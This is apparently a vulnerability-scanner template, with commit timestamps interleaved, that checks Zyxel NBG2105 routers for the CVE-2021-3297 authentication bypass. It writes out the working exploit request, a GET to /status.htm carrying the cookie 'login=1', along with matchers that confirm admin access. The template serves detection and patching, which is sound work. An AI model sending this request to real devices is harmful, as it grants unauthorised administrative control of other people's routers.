2021-08-02 07:34:16 +00:00
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id: CVE-2021-3297
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info:
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name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
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description: On Zyxel NBG2105 V1.00(AAGU.2)C0 devices, setting the login cookie to 1 provides administrator access.
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author: gy741
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severity: high
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2021-08-19 13:59:55 +00:00
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reference:
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2021-08-02 07:34:16 +00:00
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
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- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
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2021-08-02 11:36:07 +00:00
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tags: cve,cve2021,zyxel,auth-bypass,router
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2021-08-02 07:34:16 +00:00
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requests:
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- raw:
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- |
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GET /status.htm HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept: */*
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Connection: keep-alive
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2021-08-19 13:59:55 +00:00
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Cookie: language=en; login=1
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2021-08-02 07:34:16 +00:00
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "Running Time"
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- "Firmware Version"
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- "Firmware Build Time"
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condition: and
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